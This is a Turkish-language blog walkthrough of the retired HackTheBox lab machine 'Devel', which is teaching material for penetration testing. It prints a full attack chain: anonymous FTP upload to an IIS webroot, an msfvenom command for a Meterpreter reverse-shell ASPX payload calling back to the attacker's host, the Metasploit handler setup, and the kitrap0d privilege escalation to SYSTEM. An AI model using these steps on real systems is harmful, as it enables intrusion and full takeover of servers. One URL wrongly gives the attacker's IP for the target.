İçeriğe geçmek için "Enter"a basın

HackTheBox : Devel Çözümü (Türkçe Detaylı Anlatım)

Devel, emekli olmuş bir HackTheBox makinası ve 10.10.10.5 IP adresinde yer alıyor. Kolay kategorisinde işaretlenmiş bir makina.

HackTheBox, isteyenlerin sızma testi becerilerini geliştirmek için kullanabildiği bir çevrimiçi platform. Bu sayfa hazırlanırken https://www.hackthebox.eu sisteminde istismar edilmeye çalışılabilecek 155 farklı makina bulunuyordu.

HackTheBox içerisinde en kolaydan başlayıp “Insane” seviyesine kadar zorluk derecelerine sahip ve “Windows, Linux, FreeBSD, Android, Solaris, Diğer” şeklinde sınıflandırılmış sistemler mevcut.

Buradaki sistemlerin bir kısmı gerçek hayatı simüle ederken bir kısmı ise daha çok CTF tarzında hazırlanmış.

Her durumda amaç aynı: Hedef sisteme sızmak ve user.txt ile root.txt’yi ele geçirmek.

Aşağıda bu sistemi ele geçirmek için gerekli çözüm yolunu ekran görüntüleri ve detaylı açıklamalar ile birlikte bulabilirsiniz.

Başlangıç seviyesine göre hazırlanmış bir makina olan Devel özellikle yeni başlayanlar için uygun denilebilir.

Basit seviye bir Linux bilgisi gerektiren Devel üzerinde çalışırken ihtiyaç duyacağımız araçlar nmap, searchsploit, metasploit ve msfvenom olacak.

Devel – Network Scan

İlk adımda yapmamız gereken hedef sistem hakkında olabildiğince fazla bilgi toplamak.

Ağda açık olan portları ve bu portlar üzerinde neyin çalıştığını görmek için nmap (Network Mapper) isimli ücretsiz ve açık kaynak bir program kullanıyoruz.

Kali Linux üzerinde yüklü gelen nmap, yalnız port ve servis bilgisi değil işletim sistemi, versiyon bilgileri, hedefte bulunan firewall bilgileri gibi daha birçok işimize yarayacak bilgiyi sağlıyor.

Nmap taraması için kullandığım komut:

nmap -A -T4 -p- 10.10.10.5

Ek bilgi: nmap –help komutu ile görebileceğiniz gibi kullanmış olduğumuz komutlar aşağıdaki işlemleri gerçekleştiriyor:
-A: İşletim sistemi, versiyon bilgisi edinme, script taraması ve traceroute bilgilerini almak için kullanılıyor.
-T: -T4 olarak belirtmiş olduğumuz komut tarama hızı belirlemek için kullanılıyor. 0 ile 5 arasında belirtilebilen bu rakam için biz genellikle 4 tercih ediyoruz.
-p-: Tek bir port taraması değil de 65536 portun tamamının taramasının yapılmasını istediğimiz için -p- olarak yazıyoruz.
10.10.10.5: Hedef sistemin IP adresi.


Çoğu kişi nmap taramasında farklı komutlar kullanarak tarama sonuçlarında kendi istediği şekilde çıktı alıyor.

Nmap hakkında daha detaylı bilgi almak isterseniz https://tools.kali.org/information-gathering/nmap adresini ziyaret edebilirsiniz.

nmap tarama sonucu:

Açık bulduğumuz portlar ve üzerinde çalışan servisler:

Port 21: open FTP (File Transfer Protocol) Microsoft ftpd

Port 80: Hypertext Transfer Protocol (HTTP). Burada bir IIS Sunucu olduğu bilgisini de görebiliyoruz.

Bunların dışında yukarıdaki nmap taramasından okuyabildiğim bilgiler arasında FTP yani dosya transfer sisteminin anonim olarak bağlantıya izin verdiği ve IIS sunucu versiyonun 7.5 olduğu.

“Aggressive OS guesses” her zaman kesin ve doğru bir bilgi vermemekle birlikte muhtemel işletim sistemi tahminlerini sıralıyor ki bu bilgi istismar kullanımı esnasında benim için önem taşıyor.

Bir diğer bilgi ise “http title” kısmında ve IIS7 olarak belirtilmiş, bu da tarayıcı üzerinden IP adresine bağlantı sağlamaya çalıştığımda karşıma muhtemelen varsayılan ayarlarda bırakılmış bir sayfa ile karşılaşacağım anlamına geliyor.

Bu şartlarda saldırı vektörüm FTP olacak gibi görünüyor.

80 portunu açık gördüğüm için ilk olarak tarayıcıda IP adresini ziyaret ediyorum ve nmap taramasında http-title’ı gördüğümde tahmin ettiğim gibi varsayılan ayarlarda bırakılmış IIS7 ekranı karşıma geliyor:

Bir etik hacker ya da sızma testi uzmanı gözüyle baktığımızda, sızma testlerinde sıkça karşımıza çıkabilen “varsayılan ayarlarda bırakılmış web sayfaları” önemli bir bulgu ve raporumuzda yer alması gerekiyor. Elde ettiğimiz ekran görüntüsü iki önemli bulguya işaret ediyor:

  1. Muhtemelen bu IP adresinde farklı bir dizinde açık/çalışan bir web sayfaları var ve bir dizin araştırması yaparsam ulaşabilirim.
  2. Zayıf bir siber güvenlik hijyeni söz konusu. Bu sayfanın internete açık ve ulaşılabilir durumda olması için bir neden yok, muhtemelen unutulmuş ve “başka neleri açık unutmuş olabilirsiniz?” sorusunu da beraberinde getiriyor.

Geldiğim noktada emin olduğum iki bilgiye sahibim:

  1. FTP, web sunucusu için bir dosya dizini olarak kullanılıyor.
  2. Nmap sonucuna bakarak FTP’ye anonim olarak bağlanabileceğimi biliyorum ve bu durumda dosya yükleyebileceğimi düşünüyorum.

Tarayıcıda 10.10.10.5 adresine gittiğimde açılan sayfada sağ tıklayıp “kaynak kodu görüntüle” (view page source) dediğimde daha önce nmap taramasında FTP dosyaları arasında görmüş olduğum “welcome.png“‘nin orada olduğunu görebiliyorum:

Nmap taramasında çıkan FTP sonuçları
10.10.10.5 IP adresine tarayıcıdan ulaşıp kaynak kodu görüntülediğimde çıkan sayfa

FTP Zafiyeti Deneme

FTP üzerinden bağlantı kurup istediğim bir görseli eklemeyi ve tarayıcıda bu görseli görmeyi deneyeceğim. Bunu FTP istismarının başarılı olup olmayacağını anlamak amacıyla yapacağım bir işlem. Ben deneme için bir .jpg dosyasını kullanacağım ama farklı bir dosya oluşturup onu da kullanabilirdim.

Bu deneme için Google’dan indirdiğim “cat.png”yi kullanacağım 🙂

Devel ile FTP bağlantısı kurabilmek için kullandığım komut:

ftp 10.10.10.5

Ardından kullanıcı adı anonymous ve parola anonymous yazarak “230 User logged in” yazısını görüyor ve bağlantıyı tamamlıyorum:

Ek bilgi: FTP bağlantısı kurduğumuzda standart Linux komutları ile hareket edebiliyoruz. “pwd” komutu ile bulunduğumuz dizini öğrenebiliyor, “ls” komutuyla mevcut dosyaları görüntüleyebiliyor ve “help” komutu ile verebileceğimiz diğer komutlar hakkında bilgi edinebiliyoruz.

cat.png’yi FTP bağlantısı ile yüklemek için kullanacağım komut:

put cat.png

Ek bilgi: Ben cat.png’yi Home klasörü altına kaydettiğim için dosya yolu belirtmek zorunda kalmadım ancak eğer siz farklı bir klasör altına kaydettiyseniz dosya adınızın başında /root/Desktop/.. gibi dosya yolu belirtmeniz gerekebilir.

ls komutu ile kontrol ettiğimde yüklemenin başarılı olduğunu görebiliyorum:

Şimdi çalışıp çalışmadığını görmek için tarayıcıda deneyeceğim:

Biraz bozuk olmakla birlikte FTP’den yaptığım yüklemenin çalıştığını doğrulayabildim. Bu deneme neden önemliydi? Çünkü bir dosya yükleyebilsem bile eğer yüklediğim dosyayı çalıştıramasaydım bu durumda FTP gerçekte istismar edilebilir durumda olmayacaktı.

Alternatif olarak örneğin .html uzantılı bir dosya yerleştirmek ve çalıştırmak isteseydim aşağıdaki komutları da kullanabilirdim:

echo HackTheBox > devel.html

Ek bilgi: Yukarıdaki komut “bulunduğum dizin içerisine bir devel.html dosyası oluştur ve içerisinde HackTheBox” yazsın olarak okunabilir. Bu komutun ardından “cat devel.html” komutunu kullanarak doğrulama yapabiliriz.

cat.jpg ile yapmış olduğum gibi tarayıcıya “10.10.10.5/devel.html” yazdığımda açılan sayfada “HackTheBox” yazısını görebiliyorsam her şey yolunda demektir.

Artık bir istismar kodu yükleyip onu çalıştırmayı deneyebilirim.

MSFVENOM Kullanımı

Ek bilgi: Msfvenom isimli araç Msfpayload ve Msfencode isimli iki farklı aracın 2015 yılında tek bir araç haline getirilmesi sonucu ortaya çıkmış bir çatı (framework).
Böylece payload (saldırı kodu) üretmek ve bunu encode etmek için iki ayrı işlem yapılmasına gerek kalmıyor. Komut satırına “msfvenom -h” komutu girilerek bu araç kullanılırken hangi komutları kullanabileceğimiz hakkında bilgi alınabilir. Kullanım hakkında daha detaylı bilgi isteyenler https://www.offensive-security.com/metasploit-unleashed/msfvenom/ linkine başvurabilir.

ÖNEMLİ:
Karıştırılmaması gereken iki kavram:
Payload istismar kodunun hedef sistem üzerinde çalıştırmasını istediğimiz kod,
Exploit ise istismar kodu (saldırı/açıktan faydalanan kod parçası)

Amacım FTP üzerinde tespit etmiş olduğum açıktan yararlanarak bir saldırı kodu yüklemek ve çalıştırmak, bunun için de msfvenom kullanacağım ancak önce istismar için ihtiyacım olan saldırı kodunu tespit etmek üzere metasploit kullanmaya ihtiyacım var.

Ek bilgi: Metasploit bir sızma testi aracı ve sistem hacklemeyi kesinlikle çok kolaylaştırıyor. Hem saldırı hem de savunma tarafında yer alanlar için gerekli bir araç ve mutlaka öğrenilmesinde fayda var. (Detaylı bilgi için https://www.metasploit.com/ adresini ziyaret edebilirsiniz)

Hedef makinanın (Devel) saldırganla (ben) iletişim kurmasını sağlamak istediğim için reverse shell yaratmam gerekiyor. Bu durumda benim tarafta bir dinleyici portu (listener) açık olacak ve Devel’den gelen bağlantıyı kabul edecek. Reverse shell’in Windows’a uygun olması gerektiğini de en başta yaptığım bilgi toplama aşamasından biliyorum.

Ek bilgi: Reverse shell hakkında bilgi alınabilecek çok çeşitli kaynak mevcut. https://resources.infosecinstitute.com/icmp-reverse-shell/ linkini oldukça detaylı bir anlatım bulunduğu için önerebilirim.

Yine en sevdiğimiz sızma testi aracımız olan Google’a başvuruyor ve işimi kolaylaştıracak bir msfvenom cheat sheet arıyorum.

Sunucunun IIS olduğu bilgisini de en başta bilgi toplama aşamasında öğrendiğim için .asp çalıştırdığını biliyorum. Bu nedenle aramayı “msfvenom cheatsheat asp” olarak yapıyorum.

Görebileceğiniz gibi 10.400 sonuç çıktı, benim tercihim ise NetSec tarafından hazırlanmış olan doküman.

Açılan sayfada karşıma Linux, Mac, Windows, PHP, JSP, WAR gibi birçok seçenek çıkıyor. Devel’da ISS sunucu olduğunu bildiğim için direkt olarak “ASP” başlığına yönlenip aşağıda görebileceğiniz komutu NetSec sayfasından kopyalayarak kullanabileceğim:

Ek bilgi: NetSec sayfasında karşıma çıkan PHP, JSP, WAR gibi seçeneklerin her birinin hangi durumda kullanılabileceğini öğrenmek ileriki zamanlar için faydalı olacaktır. Örneğin eğer bir Apache sunucusu ile karşı karşıya olsaydım işime yarayacak olan PHP başlığı altında verilen komut olacaktı, eğer bir TomCat olsaydı ise WAR başlığı altında yazılı komuta yönelecektim.

Ayrıca bilgi toplama aşamasının sistem ele geçirme gayretlerinde en önemli aşama olabileceğini de hatırlamış oluyoruz.

Yukarıdaki komutu kullanabilmek için bizden istenen bazı bilgiler var:

LHOST (Local Host) yanına kendi IP adresimi (ifconfig ile kontrol edebiliriz), LPORT (Local Port) yanına ise dinleyici olarak kalmak istediğim port bilgisini girmem bekleniyor.

Hazır komutun kullanılabilir hali benim için şu oluyor:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.16 LPORT=5555 -f aspx > snm.aspx

-p: Kullanılacak olan payload

-f: File (çıktı formatı)

> snm.aspx Shell kodunun çıktı olarak ekrana yansımasını değil bir dosya içerisine yazılmasını istediğim için bu komutu kullanıyorum. Dosyamın adı snm.aspx (.asp de kullanılabilirdi) olacak.

İsterseniz “ls” komutu ile dosyanızın oluşup oluşmadığını kontrol edebilirsiniz.

Sırada hazırlamış olduğum saldırı kodunu (payload) FTP’ye yüklemek var. Yukarıda kedi fotoğrafını yüklemek için kullandığım komutların aynılarını kullanacak ve yine anonymous kullanıcı adı ve parolası ile FTP’ye bağlanıp ardından put komutunu kullanarak payloadu yükleyeceğim.

ls” komutu ile kontrol ettiğimde snm.aspx’in başarılı şekilde yüklendiğini görebiliyorum.

Metasploit ile Listener Port Ayarlamak

Ayrı bir sekmede ilk olarak msfconsole komutu ile Metasploit açıyorum, ardından bir payload handler (saldırı kodu işleyici) ihtiyacım olduğu için aşağıdaki komutu kullanacağım:

use exploit/multi/handler

Dilerseniz “show options” komutu ile seçeneklerinizi (ya da yapılması gereken bir işlem olup olmadığını) görebilirsiniz, şu anda yapmamız gereken hiçbir şey görünmüyor bu nedenle aşağıda yer alan komut ile payloadu ayarlayacağım:

set payload windows/meterpreter/reverse_tcp

Bu komut sonrasında options komutu ile seçenekleri görüntülediğimde ise LHOST ve LPORT bilgilerinin girilmesi gerektiğini görüyorum. Kullanacağım komutlar aşağıdaki gibi:

set LHOST 10.10.14.16
set LPORT 5555

LPORT’a girmiş olduğum port bilgilerinin payload hazırlarken girmiş olduğum ile aynı olması gerekiyor.

options komutu ile tekrar kontrol ettiğimde her şeyin hazır olduğunu görüyorum:

Exploit komutunu girdikten sonra aşağıdaki yanıtı alıyorum:

Started reverse TCP handler on 10.10.14.16:5555

Şimdi tarayıcıya gidip 10.10.14.16/snm.aspx yazdığımda payload çalışacak ve bana meterpreter ile bağlantı açacak:

Payload çalışıyor ve meterpretter session açılıyor.

Yukarıda gördüğünüz gibi tarayıcıya 10.10.14.16/snm.aspx yazıp enter’a bastığımda meterpreter session açıldı.

İsteyen meterpreter ile devam edebilir ancak benim ilk yaptığım shell komutu ile Windows komut satırına geçmek oluyor. Ardından “cd ..” komutunu kullanarak içerisinde bulunduğum dizinden c:\ dizinine doğru ilerliyorum.

Sistem ya da root yetkilerine sahip olup olmadığımı anlamak için whoami komutunu kullanıyorum ancak aşağıda görülebileceği gibi değilim.

dir komutu ile bulunduğum dizin altında yer alan dosyaları görüntülüyorum, ve Users klasörünü görüyorum, muhtemelen aradığım kullanıcılar bu klasör altında.

cd Users ve dir komutlarını kullanarak Users klasörü altındaki dosyaları görüntülüyorum.

Administrator ve babis klasörleri aradığım root.txt ve user.txt dosyalarına beni götürebilir. Bu nedenle cd komutu ile geçiş yapmayı deniyorum ama her ikisi de “Access Denied” yanıtı veriyor ve giremiyorum çünkü yetkim yok!

Yetki yükseltme (Privilege Escalation)

Bulunduğum Windows komut satırından çıkmak ve meterpreter’e dönebilmek için exit komutunu kullanıyorum.

Yetki yükseltme için metasploit’e ihtiyacım var ancak meterpreter session kapanmasın istediğim için onu arka plana atıyorum bunun için ise aşağıdaki komutu kullanıyorum:

background

Böylece meterpreter kapanmadan metasploit modülünde bir yetki yükseltme açığı arayabileceğim.

Bunun için kullandığım komut ise aşağıdaki gibi:

use post/multi/recon/local_exploit_suggester

Bu komut ile metasploit modülünde “local exploit suggester” (yerel istismar önerici) çalıştırıp bana yerel sisteme giriş yapmışken kullanabileceğim istismar kodlarını sıralamasını isteyeceğim.

Ek bilgi: Bu modül post/ ile başlamasından da anlaşılabileceği üzere kullanılabilmek için öncesinde bir meterpreter session açılmış olmasını gerektiriyor.

Seçeneklerimi/girmem gereken bilgileri bana göstermesi için “show options” komutunu kullanıyorum ve benden session bilgisi girmemi istediğini görüyorum.

 show options

Bahsi geçen session bilgisi meterpreter session. “Background” komutu ile meterpreter’i arka planda çalışmaya gönderdiğimde “Backgrounding session 1…” yazdığı için biliyorum ki buraya girmem gereken session 1 olacak.

set session 1

Çalıştırmaya hazırız.

run

run komutu sonrası karşımıza çok sayıda istismar kodu seçeneği geliyor:

İlk sırada gördüğümüz aşağıdaki istismar ISS kullanıcı yönetici grubunda yer almadığı için çalışmadı.

exploit/windows/local/bypassuac_eventvwr

Bir sonraki istismar kodunu aşağıdaki gibi use komutu ile deneyeceğim:

use exploit/windows/local/ms10_015_kitrap0d

Ve tekrar show options komutunu girdiğimde benden session bilgisi istendiğini görüp yukarıda yaptığım gibi aşağıdaki komut ile session belirteceğim:

set session 1

Giriş yapmam gereken başka bir bilgi kalmadığına göre exploit komutu ile yetki yükseltme talebimin gerçekleşmesini bekleyebilirim:

Her şey tamam gibi görünüyordu ancak “Exploit completed, but no session was created.” yanıtı aldım. Olmadı.

Tekrar show options komutu ile sorunun ne olabileceğine baktığımda Payload options (windows/meterpreter/reverse_tcp): başlığı altında varsayılan olarak gelen bilgilerin hatalı olduğunu gördüm.

set LHOST ve set LPORT komutları ile doğru bilgileri giriyorum ve ardından exploit komutunu tekrar denediğimde meterpreter session açılıyor. Şimdi yetkim yükselmiş olarak yeniden sistemdeyim.

Bir kere daha shell komutunu kullanarak Windows komut satırına geçiyorum.

Yetki durumumu kontrol etmek için whoami komutunu kullandığımda nt authority\system cevabı geliyor ve anlıyorum ki sistem yetkileri ile artık istediğim dosyalara ulaşabileceğim.

Buradan sonra kullanacağım komutlar aşağıdaki gibi:

cd .. : Bir üst dizine çıkmak için

dir : Dizin içeriğini görüntüle

cd : Seçmek istediğim dizin adı

c:\Users\Administrator\Desktop klasörüne ulaşıp yine dir komutunu kullandığımda root.txt.txt‘nin burada olduğunu görebiliyorum ve içerisindeki bayrak parolasını almak için aşağıdaki komutu girmem yeterli:

type root.txt.txt

Aynı komutları kullanarak c:\Users\babis>cd Desktop klasörüne ulaştığımda ise user.txt.txt‘yi bulmuş oluyorum.

type user.txt.txt

İki bayrağımızı da aldık 🙂

Bir başka Hackthebox Walkthrough’da görüşmek üzere!

Diğer makinaların çözümlerine https://sibersavascephesi.com/hackthebox/ adresinden ya da ana menüde yer alan “hackthebox” butonu altındaki başlıklardan ulaşabilirsiniz.

Paylaş

İlk yorum yapan siz olun

    Bir cevap yazın

    E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir